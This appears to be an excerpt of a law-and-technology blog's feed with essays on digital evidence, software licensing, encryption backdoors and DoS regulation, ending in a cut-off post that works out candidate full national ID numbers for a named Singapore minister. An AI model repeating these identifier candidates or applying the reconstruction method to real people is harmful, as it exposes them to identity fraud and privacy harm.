&lt;p&gt;[7] HP, 'Specifications of Personal Computers Over Time' &lt;a href="https://www.hp.com/gb-en/shop/tech-takes/specifications-personal-computers-over-time"&gt;https://www.hp.com/gb-en/shop/tech-takes/specifications-personal-computers-over-time&lt;/a&gt; accessed 1 Mar 2025 &lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Centralization of Digital Evidence</title><link href="https://limbenjamin.com/articles/centralization-of-digital-evidence.html" rel="alternate"></link><published>2025-02-24T21:27:00+08:00</published><updated>2025-02-24T21:27:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-02-24:/articles/centralization-of-digital-evidence.html</id><summary type="html">&lt;p&gt;Internet traffic today is highly asymmetric. The top 5 social media sites account for 99% market share of global social media traffic [1]. Crimes ranging from blackmail to phishing scams to bomb threats are largely occurring on the same few social messaging apps and social network sites. Most electronic commerce …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Internet traffic today is highly asymmetric. The top 5 social media sites account for 99% market share of global social media traffic [1]. Crimes ranging from blackmail to phishing scams to bomb threats are largely occurring on the same few social messaging apps and social network sites. Most electronic commerce scams are occurring on same few platforms where the criminals have set up seller accounts to peddle counterfeit goods. The top 3 email providers make up 87% of the total market share [2]. Most criminals will not be spinning up their own email server or their own e-commerce platform to pull off criminal activity. Hence, it makes sense for the law to leverage these intermediaries in providing information to law enforcement or even taking enforcement actions on behalf of law enforcement.&lt;/p&gt;
&lt;p&gt;Under the Digital Services Act, providers are required to report suspicions of criminal activity [3], take down flagged illegal content [4] and collect personal information of traders in case of disputes with consumers [5]. The DSA also covers all intermediaries which provide services to the EU regardless of the place of establishment [6]. This objective territoriality principle [7] espoused by the DSA is important in ensuring that the local population are still protected by national laws even if the 'crime scene' occurred in cyberspace. Law enforcement is able to stop illegal activities through the cooperation of these intermediaries. Victims in fraudulent transactions are able to obtain the information of rogue traders to pursue further legal action to seek redress.&lt;/p&gt;
&lt;p&gt;Such an approach works well for crimes which are illegal in most jurisdictions. However, as Kohl observes, crimes pertaining to political values like hate speech, moral values like pornography, safety concerns over products and economic interests like gambling as a lot more contentious [8]. Fortunately, the DSA did not overstep in its scope and stray into these areas, which might put companies in an uncomfortable position of having to choose between two incompatible legal regimes.&lt;/p&gt;
&lt;p&gt;It has more been two decades since Lindqvist set up a home page on her own personal computer [9], leaving the world with no way to take it down. Today's Lindqvist will likely make a social media post or share it on messaging apps. Even if she had a home page, law enforcement can still request it to be removed from search results as occurred in González [10]. In today's internet, if it isn't searchable, it does not exist.&lt;/p&gt;
&lt;p&gt;[1] areppim AG, ‘Mobile social media Percent Market Share Worldwide (As of October 2017)’ (areppim AG) &lt;a href="https://stats.areppim.com/stats/stats_socmedia_mobixsnapshot.htm"&gt;https://stats.areppim.com/stats/stats_socmedia_mobixsnapshot.htm&lt;/a&gt; accessed 24 February 2025&lt;/p&gt;
&lt;p&gt;[2] demandsage, 'Gmail Statistics 2025: Number of Users &amp;amp; Market Share' &lt;a href="https://www.demandsage.com/gmail-statistics/"&gt;https://www.demandsage.com/gmail-statistics/&lt;/a&gt; accessed 24 February 2025&lt;/p&gt;
&lt;p&gt;[3] Regulation (EU) 2022/2065 of the European Parliament and of the Council of 19 October 2022 on a Single Market For Digital Services and amending Directive 2000/31/EC (Digital Services Act), art. 18&lt;/p&gt;
&lt;p&gt;[4] ibid, art. 22&lt;/p&gt;
&lt;p&gt;[5] ibid, art. 30&lt;/p&gt;
&lt;p&gt;[6] ibid, art. 2&lt;/p&gt;
&lt;p&gt;[7] Rowland, D., Kohl, U., &amp;amp; Charlesworth, A. Information technology law (Routledge, Fifth edition), pp. 29 &lt;/p&gt;
&lt;p&gt;[8] ibid, pp. 30 - 35&lt;/p&gt;
&lt;p&gt;[9] Case C-101/01 Bodil Lindqvist [2013] ECR I–12971, para 12.&lt;/p&gt;
&lt;p&gt;[10] Case C-131/12 Google Spain SL and Google Inc. v Agencia Española de Protección de Datos (AEPD) and Mario Costeja González [2014]&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>AI model licensing</title><link href="https://limbenjamin.com/articles/ai-model-licensing.html" rel="alternate"></link><published>2025-02-09T13:31:00+08:00</published><updated>2025-02-09T13:31:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-02-09:/articles/ai-model-licensing.html</id><summary type="html">&lt;p&gt;There are two main categories of open-source licenses. Firstly, permissive licenses such as Apache 2.0 and MIT allow the license holder significant freedom to use the code even as part of proprietary software that the license holder is developing [1]. Restrictive licenses such as GPL family of licenses impose …&lt;/p&gt;</summary><content type="html">&lt;p&gt;There are two main categories of open-source licenses. Firstly, permissive licenses such as Apache 2.0 and MIT allow the license holder significant freedom to use the code even as part of proprietary software that the license holder is developing [1]. Restrictive licenses such as GPL family of licenses impose terms such as requiring derivative work to be similarly licensed, also known as "copyleft" [2].&lt;/p&gt;
&lt;p&gt;There are also similarities when comparing licenses in these two main categories. Open source licenses allow the license holder to obtain the source code and to use that source code in creating derivative products [3]. The original owner retains ownership of the work and the license and attribution information must be included with the software [4].&lt;/p&gt;
&lt;p&gt;Restrictive licenses pose the greatest challenge when incorporating in proprietary software due to the uncertainty of determining whether a software "contains or is derived from" an open source software [5]. Of note, software loosely coupled through dynamic linking or plug-ins is most contentious [6]. Challenges also arise when a project uses open source code from multiple different "copyleft" licenses since each license requires derivative code to be released under its own license [7]. &lt;/p&gt;
&lt;p&gt;The OpenAI API is open sourced under the MIT License [8]. This is likely done so developers can reuse and repackage the code when writing various other applications which access the OpenAI API. However, OpenAI's model itself is not open source, it operates using a Software as a Service model. Thus, anyone wishing to use OpenAI's capabilities will need to be connected to the Internet and may need to pay for tokens depending on their usage volume.&lt;/p&gt;
&lt;p&gt;In contrast, DeepSeek open sourced their model under the MIT License [9]. Thus, anyone with a powerful computer could download the entire 640GB model onto their own machine and run it independently. The MIT license permits derivative work such as distillation, which is an attempt to reduce the size of the model so it works on less powerful computers, while attempting to retain as much intelligence as possible [10]. It also permits further training to increase the model's knowledge [11].  &lt;/p&gt;
&lt;p&gt;Since OpenAI did not open source their model, it would not be possible for others to perform distillation or further training on their model in a manner similar to DeepSeek. Futhermore, users are also subjected to any future business decisions from OpenAI such as increase in cost of tokens or retiring old models. Lastly, there is also a lack of security. Users are sending their queries to OpenAI's service and do not have any foolproof means to prevent OpenAI from using that data for other purposes. &lt;/p&gt;
&lt;p&gt;[1] Baker E and SR, Open-Source Software (Practical Law (Westlaw) 2024) &lt;a href="https://uk.practicallaw.thomsonreuters.com/6-376-6421"&gt;https://uk.practicallaw.thomsonreuters.com/6-376-6421&lt;/a&gt;, pp. 6&lt;/p&gt;
&lt;p&gt;[2] ibid, pp. 9&lt;/p&gt;
&lt;p&gt;[3] ibid, pp. 3&lt;/p&gt;
&lt;p&gt;[4] ibid, pp. 12&lt;/p&gt;
&lt;p&gt;[5] ibid, pp. 20&lt;/p&gt;
&lt;p&gt;[6] ibid, pp. 16&lt;/p&gt;
&lt;p&gt;[7] Baker E and SR, Open-Source Software Governance (Practical Law (Westlaw) 2023) &lt;a href="https://uk.practicallaw.thomsonreuters.com/3-501-0318"&gt;https://uk.practicallaw.thomsonreuters.com/3-501-0318&lt;/a&gt;, pp. 1&lt;/p&gt;
&lt;p&gt;[8] OpenAI, 'LICENSE' &lt;a href="https://github.com/openai/openai-openapi/blob/master/LICENSE"&gt;https://github.com/openai/openai-openapi/blob/master/LICENSE&lt;/a&gt; accessed 9 Feb 2025&lt;/p&gt;
&lt;p&gt;[9] DeepSeek, 'DeepSeek R1' &lt;a href="https://huggingface.co/deepseek-ai/DeepSeek-R1"&gt;https://huggingface.co/deepseek-ai/DeepSeek-R1&lt;/a&gt; accessed 9 Feb 2025 &lt;/p&gt;
&lt;p&gt;[10] ibid&lt;/p&gt;
&lt;p&gt;[11] ibid&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Authenticity of Digital Evidence</title><link href="https://limbenjamin.com/articles/authenticity-of-digital-evidence.html" rel="alternate"></link><published>2025-02-08T21:12:00+08:00</published><updated>2025-02-08T21:12:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-02-08:/articles/authenticity-of-digital-evidence.html</id><summary type="html">&lt;p&gt;There are three parts which must all be proven true to meet the "Authenticity" criteria. The evidence must be obtained from the computer in question, the evidence must be "complete and accurate" and it must "remain unchanged" since collection [1]. &lt;/p&gt;
&lt;p&gt;Proving that the evidence has not been tampered is relatively …&lt;/p&gt;</summary><content type="html">&lt;p&gt;There are three parts which must all be proven true to meet the "Authenticity" criteria. The evidence must be obtained from the computer in question, the evidence must be "complete and accurate" and it must "remain unchanged" since collection [1]. &lt;/p&gt;
&lt;p&gt;Proving that the evidence has not been tampered is relatively straightforward through the use of file hashes which will change whenever a file is modified even slightly [2]. Furthermore, any attempt to boot the machine will result in modification of timestamps of files within the disk thus proving that it has changed since collection [3]. &lt;/p&gt;
&lt;p&gt;Proving that it is accurate or reliable is more challenging due to "increasing variety and complexity" of computers [4]. With the repeal of Sect. 69 of PACE, computers are assumed to be reliable and the burden of proof has shifted onto the defendant to show that it was malfunctioning [5]. &lt;/p&gt;
&lt;p&gt;Finally, proving that evidence was acquired from the correct computer and its completeness relies on chain of custody documentation [6]. Law enforcement must record all details when handling evidence which is to be submitted as documentary evidence. The law assumes that law enforcement officers are honest in all their actions. &lt;/p&gt;
&lt;p&gt;However, there have been cases where officers have planted evidence [7]. In this case, the deception was uncovered because the officer forgot to switch off her body camera [8]. Perhaps, switching to a live stream which is saved remotely would reduce the opportunity for such actions to occur. In the digital realm, blockchains providing timestamped immutable storage has been mooted as a possible alternative to relying on a human updated document [9]. However, because so much activity on a computer generates logs and timestamps, it is also much harder to plant digital evidence. When the only incriminating file had a creation timestamp that coincides with the raid and evidence seizure, it will be hard to convince the court that the suspect decided to start offending just as law enforcement arrived. Hence, it might be argued that chain of custody documentation is sufficiently robust due to the difficulty of planting digital evidence.&lt;/p&gt;
&lt;p&gt;[1] Eoghan Casey, Digital Evidence and Computer Crime Forensic Science, Computers and the Internet (Third edition., Academic Press 2011), pp. 60 &lt;/p&gt;
&lt;p&gt;[2] ibid&lt;/p&gt;
&lt;p&gt;[3] ibid&lt;/p&gt;
&lt;p&gt;[4] ibid, pp. 62&lt;/p&gt;
&lt;p&gt;[5] ibid, pp. 63&lt;/p&gt;
&lt;p&gt;[6] ibid, pp. 60&lt;/p&gt;
&lt;p&gt;[7] Max Herrle, 'Video shows tallahassee police officer planting evidence during DUI arrest' &lt;a href="https://ourtallahassee.com/video-shows-tallahassee-police-officer-planting-evidence-during-dui-arrest/"&gt;https://ourtallahassee.com/video-shows-tallahassee-police-officer-planting-evidence-during-dui-arrest/&lt;/a&gt; accessed 8 February 2025&lt;/p&gt;
&lt;p&gt;[8] ibid&lt;/p&gt;
&lt;p&gt;[9] Bonomi, Silvia, Marco Casini, and Claudio Ciccotelli. "B-CoC: A Blockchain-Based Chain of Custody for Evidences Management in Digital Forensics." arXiv.org (2018)&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Why Use Commercial Forensic Tools</title><link href="https://limbenjamin.com/articles/why-use-commercial-forensic-tools.html" rel="alternate"></link><published>2025-01-22T20:45:00+08:00</published><updated>2025-01-22T20:45:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-01-22:/articles/why-use-commercial-forensic-tools.html</id><summary type="html">&lt;p&gt;Like Bart, I also disagree that some of the most influential forensic tools are "open source". There are indeed many open sources tools such as SIFT workstation [1] and The Sleuth Kit [2]. Some forensics analysts also write their own tools and scripts to parse lesser known file formats or …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Like Bart, I also disagree that some of the most influential forensic tools are "open source". There are indeed many open sources tools such as SIFT workstation [1] and The Sleuth Kit [2]. Some forensics analysts also write their own tools and scripts to parse lesser known file formats or proprietary file formats which are not supported by the major vendors. Such tools are suitable for internal company use, for example, when investigating extent of malware infection, or when retrieving evidence of employee misconduct. Such cases rarely go to court, even if they do, it is a civil case where the burden of proof is lower and the employee does not have resources to put up a fight.&lt;/p&gt;
&lt;p&gt;However, when dealing with criminal cases or corporate entities with deep pockets, established proprietary tools are standard practice. The US Department of Homeland Security publishes a list of tools which have undergone lab testing to ensure reliability and accuracy, almost all tools on there are proprietary tools [3]. Companies such as Guidance Software may also subject its product to FIPS certification to increase public trust [4]. Lastly, these companies also have training programs to certify analyst's skill and proficiency in using the software [5].&lt;/p&gt;
&lt;p&gt;The Daubert standard requires that the method used in evidence preparation has to be independently tested, published, and subject to peer review. Known error rates must be determined and the method must be accepted by the community [6]. Open source tools rarely have the budget to undergo such scrutiny and testing.&lt;/p&gt;
&lt;p&gt;A well resourced opposing counsel will not hesitate to pull all stops. They may question the reliability of the "homemade" tool, whether the analyst has used the tool correctly, and may even review the available source code to find any bug and attempt to use it to discredit the evidence collected. Hence, when much is at stake, the use of proprietary tools help eliminate almost all risk in the evidence collection and processing.&lt;/p&gt;
&lt;p&gt;This is purely anecdotal, but I once heard that if the validity of evidence collected by Encase tools is ever called into question, Encase will fly in a technical expert to testify and defend their product without cost. I find it believable, since a single case may set a precedent which would be disastrous for future business.&lt;/p&gt;
&lt;p&gt;[1] SANS Institute 'SIFT Workstation' &lt;a href="https://www.sans.org/tools/sift-workstation/"&gt;https://www.sans.org/tools/sift-workstation/&lt;/a&gt; accessed 25 January 2025&lt;/p&gt;
&lt;p&gt;[2] Brian Carrier 'The Sleuth Kit' &lt;a href="https://www.sleuthkit.org/sleuthkit/"&gt;https://www.sleuthkit.org/sleuthkit/&lt;/a&gt; accessed 25 January 2025&lt;/p&gt;
&lt;p&gt;[3] US Department of Homeland Security 'Computer Forensic Tool Testing (CFTT) Reports ' &lt;a href="https://www.dhs.gov/science-and-technology/nist-cftt-reports"&gt;https://www.dhs.gov/science-and-technology/nist-cftt-reports&lt;/a&gt; accessed 25 January 2025&lt;/p&gt;
&lt;p&gt;[4] Apex Assurance Group, LLC 'FIPS 140-2 Non-Proprietary Security Policy for the Guidance Software EnCase Enterprise Cryptographic Module Version 1.0' &lt;a href="https://csrc.nist.gov/csrc/media/projects/cryptographic-module-validation-program/documents/security-policies/140sp942.pdf"&gt;https://csrc.nist.gov/csrc/media/projects/cryptographic-module-validation-program/documents/security-policies/140sp942.pdf&lt;/a&gt; accessed 25 January 2025&lt;/p&gt;
&lt;p&gt;[5] Exterro, Inc, 'FTK Core' &lt;a href="https://training.exterro.com/courses/forensic-toolkit-101-yq18"&gt;https://training.exterro.com/courses/forensic-toolkit-101-yq18&lt;/a&gt; accessed 25 January 2025&lt;/p&gt;
&lt;p&gt;[6] Daniel Garrie and J Morrissy, 'Digital Forensic Evidence in the Courtroom:
Understanding Content and Quality' Northwestern Journal of Technology and Intellectual Property 12(2) (2014)&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Law Enforcement use only</title><link href="https://limbenjamin.com/articles/law-enforcement-use-only.html" rel="alternate"></link><published>2025-01-18T18:28:00+08:00</published><updated>2025-01-18T18:28:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-01-18:/articles/law-enforcement-use-only.html</id><summary type="html">&lt;p&gt;A bank robber making a getaway is not going to stop at a traffic light. Similarly, cybercriminals who are intending to commit serious crimes will definitely use the most secure systems available to them regardless of the legality. Thus, the pertinent question is whether such a law can be effectively …&lt;/p&gt;</summary><content type="html">&lt;p&gt;A bank robber making a getaway is not going to stop at a traffic light. Similarly, cybercriminals who are intending to commit serious crimes will definitely use the most secure systems available to them regardless of the legality. Thus, the pertinent question is whether such a law can be effectively enforced. I agree with Schulze's argument that those with "malign interest will find a way" and therefore the only outcome of such a law is the deprival of the rights of law-abiding citizens [1].&lt;/p&gt;
&lt;p&gt;The US government once attempted to restrict the export of strong cryptographic algorithms [2]. Back managed to fit such an algorithm into 3 lines of text, printing it on a T-shirt [3][4], indirectly demonstrating the ease at which it can be replicated. In today's interconnected world, data and software can be downloaded or installed in a few clicks. It would be extremely difficult to enforce such laws, and hence I believe such laws should not be solution. &lt;/p&gt;
&lt;p&gt;One other major obstacle is the fact that almost all sovereign nations have their own police force. With such a long list of people having access to privileged information, leaks are inevitable. The TSA lock was originally intended to allow Customs to inspect luggages without damaging them, however it is now available for purchase on Amazon for $6 [5]. Thus, such an initiative negatively impacts the privacy of law-abiding citizens who now risk have their luggages opened by hotel housekeeping staff.&lt;/p&gt;
&lt;p&gt;These aforementioned sovereign nations range from liberal democracies to dictatorial regimes. How should private companies determine whether a certain police force should be on its nice or naughty list? Cellebrite has assisted US authorities in breaking into the iPhone of the San Bernardino shooter [6] and more recently the phone of the Trump rally shooter [7]. However, they were also involved in "suppressing protests in Hong Kong", and are alleged to possibly be involved in the hacking of Saudi journalist Jamal Khashoggi's phone which eventually led to his killing [8]. When clouded in politics, the police criminal divide is not always that clear.&lt;/p&gt;
&lt;p&gt;[1] Schulze, M 'Clipper Meets Apple vs. FBI—A Comparison of the Cryptography Discourses from 1993 and 2016.'' Media and Communication [Online], 5.1 (2017): 54-62. Web. 18 Jan. 2025, pp. 58&lt;/p&gt;
&lt;p&gt;[2] ibid, pp.55&lt;/p&gt;
&lt;p&gt;[3] Back, A 'export-a-crypto-system sig' &lt;a href="http://www.cypherspace.org/adam/rsa/"&gt;http://www.cypherspace.org/adam/rsa/&lt;/a&gt; accessed 18 January 2025&lt;/p&gt;
&lt;p&gt;[4] Back, A 'Its illegal to export strong crypto from the US' &lt;a href="http://www.cypherspace.org/adam/rsa/legal.html"&gt;http://www.cypherspace.org/adam/rsa/legal.html&lt;/a&gt; accessed 18 January 2025&lt;/p&gt;
&lt;p&gt;[5] Cummings, M 'Locked out of your luggage? This $6 master key is a life-saving travel must-have' &lt;a href="https://www.yahoo.com/lifestyle/locked-out-of-your-luggage-this-6-master-key-is-a-life-saving-travel-must-have-214825094.html"&gt;https://www.yahoo.com/lifestyle/locked-out-of-your-luggage-this-6-master-key-is-a-life-saving-travel-must-have-214825094.html&lt;/a&gt; accessed 18 January 2025&lt;/p&gt;
&lt;p&gt;[6] Solomon, S 'Human rights groups call for halt to phone-cracking Cellebrite’s share listing' (The Times of Israel) &lt;a href="https://www.timesofisrael.com/human-rights-groups-call-for-halt-to-phone-cracking-cellebrites-share-listing/"&gt;https://www.timesofisrael.com/human-rights-groups-call-for-halt-to-phone-cracking-cellebrites-share-listing/&lt;/a&gt; accessed 18 January 2025&lt;/p&gt;
&lt;p&gt;[7] Radtke, K 'The FBI got into the Trump rally shooter’s phone in just 40 minutes' (The Verge) &lt;a href="https://www.theverge.com/2024/7/19/24201935/fbi-trump-rally-shooter-phone-thomas-matthew-crooks-cellebrite"&gt;https://www.theverge.com/2024/7/19/24201935/fbi-trump-rally-shooter-phone-thomas-matthew-crooks-cellebrite&lt;/a&gt; accessed 18 January 2025&lt;/p&gt;
&lt;p&gt;[8] Middle East Eye 'Israeli firm provided phone-hacking services to Saudi Arabia: Report' &lt;a href="https://www.middleeasteye.net/news/cellebrite-israel-saudi-arabia-phone-hacking-services"&gt;https://www.middleeasteye.net/news/cellebrite-israel-saudi-arabia-phone-hacking-services&lt;/a&gt; accessed 18 January 2025&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>AI Systems as Software</title><link href="https://limbenjamin.com/articles/ai-systems-as-software.html" rel="alternate"></link><published>2025-01-12T18:10:00+08:00</published><updated>2025-01-12T18:10:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-01-12:/articles/ai-systems-as-software.html</id><summary type="html">&lt;p&gt;There is no clear definition of software. However, one of the more helpful definitions is the definition in the Model Provisions on the Protection of Computer Software, where software is defined as "a set of instructions" to "perform or achieve a particular function, task or result" [1]. The lack of …&lt;/p&gt;</summary><content type="html">&lt;p&gt;There is no clear definition of software. However, one of the more helpful definitions is the definition in the Model Provisions on the Protection of Computer Software, where software is defined as "a set of instructions" to "perform or achieve a particular function, task or result" [1]. The lack of clear definitions allows greater judicial discretion to shape the law, allowing this area of law to develop as common law instead of through statutes. However, it also creates greater uncertainty on legal matters and may discourage businesses from innovating or shift to a different jurisdiction with more certainty.&lt;/p&gt;
&lt;p&gt;AI systems comprise instructions to feed data into machine learning models, the models themselves, and instructions to query the models to obtain an output [2]. The instructions are clearly software, however the model itself is unintelligible to human comprehension and will more likely lean more towards data rather than software. However, Karpathy argues that these models can be considered code written by machine learning methods [3]. In other words, humans write code that can write further code that humans no longer understand. On one hand, machines can definitely execute these set of valid instructions, however when humans can no longer understand them, can we still consider them instructions? Paragraph 12 of the Artificial Intelligence Act states that AI systems should be distinguished from "simpler traditional software systems" [4]. Thus, AI systems are more than just software, they belong in a sui generis class of their own, requiring lex specialis legislation to regulate their use.&lt;/p&gt;
&lt;p&gt;Developers writing code can be thought of as legislators drafting legislation or lawyers drafting contracts. Legislation can be thought of as open source software, while contracts can be thought of as proprietary software. Software bugs can be thought of as lacunas in existing legislation and loopholes in contracts. Software version control and bug fixes can be thought of as amendments to legislation or contract variations. The judiciary is similar to the machine running the software while data is similar to each case that comes before the judiciary. When you use Word to open a different file, the outcome is different each time depending on the contents of the file. Similarly, when a different case comes before a judge, the outcome differs based on the facts of the case. &lt;/p&gt;
&lt;p&gt;[1] Practical Law IP and IT, Legal Protection of Software (Practical Law (Westlaw) 2024), pp. 4 &lt;/p&gt;
&lt;p&gt;[2] Otero, BegoÑa Gonzalez (2021) 'Machine Learning Models Under the Copyright Microscope: Is EU Copyright Fit for Purpose?' GRUR International (Print), 70(11), 1043–1055. https://doi.org/10.1093/grurint/ikab077, pp. 14&lt;/p&gt;
&lt;p&gt;[3] ibid, pp. 15&lt;/p&gt;
&lt;p&gt;[4] Regulation (EU) 2024/1689 of the European Parliament and of the Council of 13 June 2024 laying down harmonised rules on artificial intelligence and amending Regulations (EC) No 300/2008, (EU) No 167/2013, (EU) No 168/2013, (EU) 2018/858, (EU) 2018/1139 and (EU) 2019/2144 and Directives 2014/90/EU, (EU) 2016/797 and (EU) 2020/1828 (Artificial Intelligence Act), para. 12&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Regulating DoS</title><link href="https://limbenjamin.com/articles/regulating-dos.html" rel="alternate"></link><published>2025-01-12T12:22:00+08:00</published><updated>2025-01-12T12:22:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2025-01-12:/articles/regulating-dos.html</id><summary type="html">&lt;p&gt;Denial of Service (DoS) is tricky to regulate because it involves high volume of "legitimate" traffic which stresses the target's resources [1]. Since the traffic is legitimate, what makes an act DoS is the underlying intent to exhaust the target's resources. To illustrate, web scraping also generates high volumes of …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Denial of Service (DoS) is tricky to regulate because it involves high volume of "legitimate" traffic which stresses the target's resources [1]. Since the traffic is legitimate, what makes an act DoS is the underlying intent to exhaust the target's resources. To illustrate, web scraping also generates high volumes of legitimate traffic but is generally accepted because the intent is data collection for commercial or research purposes. Edwards posits that it is "impossible for law enforcement authorities to distinguish between" DoS and legitimate traffic [2]. This may be prima facie true, however upon closer inspection of the traffic, one can usually distinguish them. Normal traffic usually spans multiple different pages, a user may perform a few searches and view the product descriptions to compare them. However, a DoS attack designed to exhaust resources would usually pick the slowest page, for example a search page, and repeatedly execute the search without viewing any of the results. That said, the contents of the page do matter, if the page contains stock price data or concert ticket sales, there could be legitimate reasons to continuously request the same page.&lt;/p&gt;
&lt;p&gt;Apart from blackmail, DoS is also used to "make a political or ethical point" and to "[threaten] critical infrastructure" [3]. In the case of the latter, the EU has legislated against the behaviour in Article 4 of the framework decision on attacks against information systems [4]. A "flash mob" event would possibly be the closest physical manifestation of a DoS attack. Police have used the offence of "conspiracy to cause public nuisance" to preemptively prevent such an event in the UK [5]. Under the statutory act, an offence is committed if an act causes "serious inconvenience" or "serious loss of amenity" to a "section of the public" [6]. Since a DoS greatly inconveniences visitors of a website and prevents them from accessing it, it will likely fall under the ambit of the act.&lt;/p&gt;
&lt;p&gt;Victims can definitely pursue damages from the perpetrator under tort law, as long as they are able to identify and can take action in the appropriate jurisdiction [7]. In Spartan Steel &amp;amp; Alloys Ltd vs Martin &amp;amp; Co, the plaintiffs suffered economic loss due to a power cut to their factory caused by the defendant's actions [8]. Similarly, an e-commerce store would suffer economic loss due to a DoS attack, hence I believe there would be cause of action under tort law. If civil action is taken, the plaintiffs will be compensated for their loss, hence this may be advantageous compared to criminal action.&lt;/p&gt;
&lt;p&gt;[1] Edwards L, ‘Dawn of the Death of Distributed Denial of Service: How to Kill Zombies’ (2006) 24 Cardozo Arts &amp;amp; Entertainment Law Journal 23, pp. 24&lt;/p&gt;
&lt;p&gt;[2] ibid.&lt;/p&gt;
&lt;p&gt;[3] ibid, pp. 33&lt;/p&gt;
&lt;p&gt;[4] Council Framework Decision 2005/222/JHA of 24 February 2005 on attacks against information systems [2005] OJ L 69/67, art. 4&lt;/p&gt;
&lt;p&gt;[5] Maisie Olah, 'Arrests and dispersal order over Birmingham flash mob event' (CNBC, 20 May 2023) &lt;a href="https://www.bbc.com/news/uk-england-birmingham-65648862"&gt;https://www.bbc.com/news/uk-england-birmingham-65648862&lt;/a&gt; accessed 12 January 2025&lt;/p&gt;
&lt;p&gt;[6] Police, Crime, Sentencing and Courts Act 2022, Section 78&lt;/p&gt;
&lt;p&gt;[7] Edwards L, ‘Dawn of the Death of Distributed Denial of Service: How to Kill Zombies’ (2006) 24 Cardozo Arts &amp;amp; Entertainment Law Journal 23, pp. 45&lt;/p&gt;
&lt;p&gt;[8] Spartan Steel &amp;amp; Alloys Ltd vs Martin &amp;amp; Co [1973] QB 27&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Deriving JoTeo's NRIC</title><link href="https://limbenjamin.com/articles/deriving-joteos-nric.html" rel="alternate"></link><published>2024-12-14T21:48:00+08:00</published><updated>2024-12-14T21:48:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-12-14:/articles/deriving-joteos-nric.html</id><summary type="html">&lt;p&gt;MDDI recently &lt;a href="https://www.straitstimes.com/singapore/personal-data-protection-commission-updating-guidelines-on-use-of-nric-numbers"&gt;stated&lt;/a&gt; that "people can make a good guess at someone's full NRIC number [...] especially if one also knows the year of birth of the person". I will attempt to make a good guess at Minister Josephine Teo's NRIC based on available information.&lt;/p&gt;
&lt;p&gt;I will be working off this …&lt;/p&gt;</summary><content type="html">&lt;p&gt;MDDI recently &lt;a href="https://www.straitstimes.com/singapore/personal-data-protection-commission-updating-guidelines-on-use-of-nric-numbers"&gt;stated&lt;/a&gt; that "people can make a good guess at someone's full NRIC number [...] especially if one also knows the year of birth of the person". I will attempt to make a good guess at Minister Josephine Teo's NRIC based on available information.&lt;/p&gt;
&lt;p&gt;I will be working off this set of information&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Last 4 characters of her NRIC is 541B. Many establishments collect the last 4 characters of NRIC.&lt;/li&gt;
&lt;li&gt;Her date of birth is 8 July 1968. From Wikipedia.&lt;/li&gt;
&lt;li&gt;She was born in Singapore and a citizen at birth.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;Most would know that anyone born before 2000 will have an NRIC starting with S. Also, anyone born after 1 Jan 1968 will have the birth year as the first 2 digits of the NRIC. Therefore, the partially reconstructed NRIC will look like&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;S68XX541B&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Right off the bat, we are only missing 2 digits, hence there are only 100 possibilities. However, we can also narrow this down further, as the final character is a checksum using the Modulo 11 algorithm. Therefore, this leaves us with only 9 possibilities that end with the checksum B. NRICs are also issued sequentially, the first registered birth on Jan 1 1968 will be given S6800001G. Since there are 47,241 births in 1968, the last registered birth on 31st Dec 1968 will likely be S6847241E.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;S6810541B&lt;br&gt;
S6821541B&lt;br&gt;
S6832541B&lt;br&gt;
S6843541B&lt;br&gt;
S6854541B --&amp;gt; There are only 47k births. Impossible to have 3rd digit of 5&lt;br&gt;
S6865541B --&amp;gt; There are only 47k births. Impossible to have 3rd digit of 6 &lt;br&gt;
S6876541B --&amp;gt; 3rd digit 7 is issued to new citizens.&lt;br&gt;
S6887541B --&amp;gt; 3rd digit 8 is likely invalid, or possibly reserved if number of new citizens overflow.&lt;br&gt;
S6898541B --&amp;gt; 3rd digit 9 is issued to Singaporeans born overseas.  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This leaves us with only 4 possible NRICs. Next, we will need to look at the number of births in each month in 1968. The data can be obtained from SingStat. Numbers in brackets are cumulative.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1968 Jan - 4016&lt;br&gt;
1968 Feb - 3636 (7652)&lt;br&gt;
1968 Mar - 3794 (11446)&lt;br&gt;
1968 Apr - 3762 (15208) &lt;br&gt;
1968 May - 3895 (19103)&lt;br&gt;
1968 Jun - 3774 (22877) &lt;br&gt;
1968 Jul - 3979 (26856) &lt;br&gt;
1968 Aug - 4092 (30948) &lt;br&gt;
1968 Sep - 4013 (34961) &lt;br&gt;
1968 Oct - 4338 (39299) &lt;br&gt;
1968 Nov - 3954 (43253) &lt;br&gt;
1968 Dec - 3988 (47241)   &lt;/p&gt;
&lt;p&gt;S6810541B --&amp;gt; 10541st registered birth. Occurred in Feb 1968. &lt;br&gt;
S6821541B --&amp;gt; 21541st registered birth. Occurred in May 1968.&lt;br&gt;
